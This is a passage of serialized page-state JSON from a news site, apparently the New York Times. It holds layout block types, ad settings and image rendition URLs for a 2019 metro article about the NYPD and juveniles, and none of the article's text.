tNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.63":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.64":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.65":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.66":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.67":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.68":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.69":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.70":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.71":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.72":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.73":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.74":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.75":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.76":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.77":{"__typename":"RelatedLinksBlock"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.0":{"uri":"nyt:\u002F\u002Fchannel\u002Fdd1a5725-c3be-4673-be2c-9055eb12c10f","__typename":"ChannelMetadata"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.1":{"uri":"nyt:\u002F\u002Fchannel\u002F7cf18b43-f1c6-4946-8a9c-4e24bad34c5c","__typename":"ChannelMetadata"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.2":{"uri":"nyt:\u002F\u002Fchannel\u002F679a17bb-20e6-40a7-a589-e7742a2a52ed","__typename":"ChannelMetadata"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.0":{"__typename":"HeaderBasicBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.1":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.2":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.3":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.4":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.5":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.6":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.7":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.8":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.9":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.10":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.11":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.12":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.13":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.14":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.15":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.16":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.17":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.18":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.19":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.20":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.21":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.22":{"__typename":"ImageBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.23":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.24":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.25":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.26":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.27":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.28":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.29":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.30":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.31":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.32":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.33":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.34":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.35":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.36":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.37":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.38":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.39":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.40":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.41":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.42":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.43":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.44":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.45":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.46":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.47":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.48":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.49":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.50":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.51":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.52":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.53":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.54":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.55":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.56":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.57":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.58":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.59":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.60":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.61":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.62":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.63":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.64":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.65":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.66":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.67":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.68":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.69":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.70":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.71":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.72":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.73":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.74":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.75":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.76":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.77":{"__typename":"RelatedLinksBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.advertisingProperties":{"sensitivity":"SHOW_ADS","__typename":"CreativeWorkAdvertisingProperties"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).0":{"name":"MASTER","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-articleLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-superJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-articleLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-articleLarge.jpg","height":400,"width":600,"name":"articleLarge","__typename":"ImageRendition"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-superJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-superJumbo.jpg","height":1365,"width":2048,"name":"superJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).1":{"name":"SMALL_SQUARE","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbStandard.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbLarge.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbStandard.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-thumbStandard.jpg","height":75,"width":75,"name":"thumbStandard","__typename":"ImageRendition"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-thumbLarge.jpg","height":150,"width":150,"name":"thumbLarge","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).2":{"name":"SIXTEEN_BY_NINE","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-